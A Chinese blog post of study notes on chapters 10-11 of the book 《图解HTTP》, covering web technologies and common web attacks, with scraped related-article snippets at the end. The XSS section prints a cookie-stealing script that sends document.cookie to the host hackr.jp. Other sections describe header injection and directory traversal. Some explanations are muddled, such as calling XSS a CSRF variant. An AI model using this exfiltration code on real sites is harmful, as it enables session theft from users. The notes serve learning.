《图解Http》 10,11章:构建Web的技术, Web的攻击技术

10.2动态HTML

通过调用客户端脚本语言js,实现对web页面的动态改造。利用DOM文档对象模型,指定想发生变化的元素。

10.22 更容易控制的DOM

使用DOM可以将HTML内的元素当作对象操作。

10.3 Web应用

10.31通过Web提供功能的Web应用。

10.32 与web服务器协作的CGI

Common Gateway Interface 通用网关接口:指服务器收到客户端发过来的请求后,转发给程序的一组机制。

10.4 数据发布的格式,语言

10.41 XML (extensible Markup Language)可扩展标记语言

对数据的记录方式做了特别的处理,更适合记录数据结构。

从XML文档中读取数据比HTML更简单。

由于XML的结构基本上是用标签分割的树形结构,因此通过语法分析器的解析功能解析XML结构并取出数据元素,可更容易地对数据进行读取。

10.43 JavaScript 衍生的轻量级JSON

JavaScript Object Notation。

以JS的对象表示法为基础的轻量级数据标记语言。



11 攻击技术

11.12 在客户端即可篡改请求

在请求报文内加载攻击代码:

通过URL查询字段或表单, HTTP header, Cookie等途径把攻击代码传入,如果存在安全漏洞,内部信息就会遭到窃取,或被攻击者拿到管理权。

11.13 对Web应用的攻击模式

  • 主动攻击: 针对服务器上的资源进行攻击。SQL注入攻击, OS命令注入攻击。
  • 被动攻击:利用圈套周恩来执行攻击代码。 Xss跨站脚本攻击。跨站请求伪造。
  1. 诱使用户触发设置好的陷阱,陷阱会启动发送已经嵌入的攻击代码的HTTP请求。
  2. 中招后,浏览器或邮件客户端会触发这个陷阱。
  3. 中招的浏览器把带攻击代码的请求发送给作为攻击目标的web应用,并运行攻击代码。
  4. 执行完攻击代码后,存在安全漏洞的web应用会成为攻击者的跳板,导致用户的Cookie等信息被窃取,登陆状态中的用户权限遭到恶意滥用等。

11.2 因输出值转意不完全引发的安全漏洞

客户端的验证:

主要采取javascript进行简单的验证,辅助性验证,用于提高用户交互行为的体验。因为js可以被用户关闭,所以不能起到安全防护作用。

web服务器端的验证:

  • 输入值验证: 可能会输入攻击代码,因此需要检查是否符合业务逻辑(字符编码,数值)
  • 输出值转意:对输出值进行转意处理是重要的安全策略。

11.21 跨站脚本攻击

攻击者利用预先设置的陷阱触发被动攻击,具体可见之前的博客(全栈案例)

通过加上<script>执行javascript动作,或者塞入其他标签。

例子:对Cookie的偷取:

<script src=‘http://hackr.jp/xss.js‘></script>

这行代码的作用:把js文件内的代码加载到使用的页面中。src属性指定了一个额外的script文件的URL.

js文件内容:

var content = encodeURI(document.cookie);

document.write("<img src=‘http://hackr.jp/? ‘");

document.write(content);

document.write(">");

上面第一行得到cookie信息,然后后3行组成一个<img src=‘xxx‘>,

黑客可以通过添加评论的方法把这段脚本传到当前网页上,因为并没有真实的图片,所以出现一个破碎的图片图标。

当用户访问这个带漏洞的网页时,会执行脚本,<img>标签的src是一个带当前Cookie信息的请求,会转到攻击者的网站。攻击者网站的日志会记录下这个Cookie。

总结:

这是一个跨站伪造请求攻击Cross-site request forgery,xss的变种。

CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。


11.22 SQL Injection攻击

Web应用通常会用到数据库,比如对数据进行检索操作。

精通sql语法的黑客利用这点,在检索框内增加导致删除或某些目的性的sql半截语句,点击确认按钮后,

会和内置的SQL语法组合起来形成破坏性的SQL语法。

注意: 一般会利用 -- 标记,这代表后面的代码全部为注释。

在Rails中,使用where子句,可以用特殊的写法避免。

例子:  BookTbI.where("author = ?",  "xxx"), 这样数据库会知道, 上野宣‘ -- 中的‘分号只是普通的代码,并不起到分号本身的作用。


11.23 OS命令注入攻击

通过web应用,执行非法的操作系统命令达到攻击目的。

在可以调用Shell函数的地方就有风险。

11.24 HTTP 首部注入攻击 HTTP Header Injection

通过在响应的首部字段内插入换行,添加任意响应首部或主体的一种攻击。(被动攻击)

  • 设置任何Cookie信息
  • 重定向到任何URL
  • 显示任意的主体:  HTTP 响应截断攻击 HTTP Response Splitting Attack

例子:首部注入攻击

%0D%0A 这个是换行符号。

所以强制增加Set-Cookie首部。

设置了Cookie后,攻击者可以伪装用户。

这是首部注入攻击,插入任意的首部字段。

HTTP响应截断攻击

首部注入攻击的一种,攻击顺序一样,但是要将两个 %0D%0A%%0D%0A 插入字符串后发送。

利用两个连续的换行作出HTTP首部和主体分隔所需要的空行,这样就能伪造主体,达到攻击目的。

??, <! -- 这个是注释。



11.25邮件首部注入攻击

11.26 Directory Traversal 目录遍历攻击

通过非法截断其目录路径后,达成访问的一种攻击。

使用.../ 等相对路径定位到/etc/passed/等绝对路径上,导致服务器上的文件被访问到。

然后黑客就随便浏览,篡改,删除服务器上的内容拉,啊哈哈哈。

应该关闭指定对任意文件名的访问权限。



11.4 Session 的安全漏洞

11.41 Session hijack 会话劫持

  • 通过非正规的生成方法推测会话??
  • 通过窃听或XSS攻击盗取会话ID(下图)
  • 通过Session Fixation 强制获取会话id

通过某种手段拿到用户的session id, 并伪装成用户/


11.5其他安全漏洞

11.51密码破解

对已加密密码的破解:

因为密码做了散列函数处理或加了salt。

11.52 点击劫持

利用透明的按钮或链接做陷阱,覆盖在web页面上,诱使用户在不知情的情况下,点击哪个链接。

也叫界面伪装。

其他安全漏洞:

DoS攻击,后门程序。

原文地址:https://www.cnblogs.com/chentianwei/p/9502037.html

时间: 2024-11-08 21:26:35

《图解Http》 10,11章:构建Web的技术, Web的攻击技术的相关文章

JavaScript高级程序设计:第8/9/10/11章 BOM与DOM

一.BOM 1. 什么是BOM? BOM(Browser Object Mode) 是指浏览器对象模型,是用于描述这种对象与对象之间层次关系的模型,浏览器对象模型提供了独立于内容的.可以与浏览器窗口进行互动的对象结构.BOM由多个对象组成,其中代表浏览器窗口的Window对象是BOM的顶层对象,其他对象都是该对象的子对象. 2. Window对象 2.1 框架与窗口关系 Window对象是指当前代码所存在的框架实例,在没有引入框架的情况下指的是浏览器窗口.同时需要了解其他窗口关系: Window

第11章 拾遗4:IPv6和IPv4共存技术(1)_双栈技术和6to4隧道技术

6. IPv6和IPv4共存技术 6.1 双栈技术 (1)双协议主机的协议结构 (2)双协议栈示意图 ①双协议主机在通信时首先通过支持双协议的DNS服务器查询与目的主机名对应的IP地址. ②再根据指定的IPv6或IPv4地址开始通信. ③Win2008或2003默认就是双协议栈,Win2008的DNS同是支持IPv4和IPv6的名称解析. 6.2 6to4隧道技术 (1)6to4隧道示意图 ①隧道技术使得各个IPv6的信息"孤岛"能通过IPv4网络进行通信.它要求隧道两端的节点(路由器

第11章 拾遗5:IPv6和IPv4共存技术(2)_ISATAP隧道技术

6.3 ISATAP隧道技术 (1)基本概念 ①在一个IPv4网络中主机与路由器之间创建一条ISATAP隧道,以便让该主机可以访问IPv6网络中的资源. ②条件:IPv4中的PC主机需要支持IPv4和IPv6双栈协议,然后需要一台支持ISATAP的路由器.该路由器可以在网络中的任何位置,只要PC能通过IPv4地址ping通它. ③当IPv4中的PC主机需要访问IPv6资源时,需要先与ISATAP路由器建立ISATAP隧道,然后根据路由器提供的IPv6前缀构造自己的IPv6地址,并将这台路由器设置

第 11 章 图解过滤器

转载:http://www.mossle.com/docs/auth/html/ch101-filters.html 第 11 章 图解过滤器 图 11.1. auto-config='true'时的过滤器列表 11.1. HttpSessionContextIntegrationFilter 图 11.2. org.springframework.security.context.HttpSessionContextIntegrationFilter 位于过滤器顶端,第一个起作用的过滤器. 用

阅读10,11,12章

第10章 本章主要讲的是典型用户与场景,那么怎样定义典型用户? 答:(1)名字(越自然越好). (2)年龄(不同年龄和收入的用户有不同的需求). (3)收入. (4)代表的用户在市场上的比例和重要性(比例大不等同于重要性高,如付费的用户比例较少,但是影响大,所以更重要). (5)使用这个软件的典型场景. (6)使用本软件/服务的环境 (在办公室/家里/沙发/床上/公共汽车/地铁…). (7)生活/工作情况. (8)知识层次和能力(教育程度,对电脑.万维网的熟悉程度). (9)用户的动机.目的和困

阅读第10.11.12章

第10章: 什么是功能驱动?FDD需要怎么弄? 第11章: 问题:我们现在这个阶段是在做四则运算APP,如果按照这章的步骤走下去,每天都要进行进度更新,和每日会议还有每日构建的,会不会不太符合我们现在的处境?毕竟我们的所有时间不能只为一门课程服务,还要大量的时间花在其他的课程上呢. 第12章: 设计用户体验的目的在哪里体现?

Rspec: everyday-rspec实操: 第10章测试其他功能,第11章TDD

10.测试文件上传 作者推荐的Paperclip,官方维护组已经不推荐使用deprecated. 推荐使用rails自带的 ActiveStorage. Active Storage: 推进文件上传到云存储,并附加这些文件到Active Record object.它 和本地驱动服务一起用于开发和测试.也支持反射文件到附属服务作为备份backups and migrations. http://guides.rubyonrails.org/active_storage_overview.html

10章、11章

一.典型用户和典型场景 Visual Studio的经典用户 怎样定义典型用户 从典型用户到场景 用例 规格说明书 功能说明书 定义好相关的概念 规范好一些假设 避免一些误解,界定一些边界条件 描述主流的用户/软件交互步骤 一些好的功能还会有副作用 服务质量的说明 功能驱动的设计 构造总体模型 构造功能列表 制定开发计划 功能设计阶段 实现具体功能 11章 分析和设计方法 图形建模和分析方法 表达实体和实体之间的关系 表达数据的流动 表达控制流 统一的表达方式 其他设计方法 形式化的方法 文学化

【Go web开发之revel+mgo】第11章 部署到heroku上

演示地址  http://gblog-revel.herokuapp.com/ 1.申请mongohq 关于如何在注册heroku和mongohq帐号,我在之前的blog里面有说明,http://blog.csdn.net/joveth/article/details/19999535 这里简单的说一下,还记得我们的models/dao.go文件里的NewDao方法中被注释的那一行吗? session, err := mgo.Dial("mongodb://omind:[email protec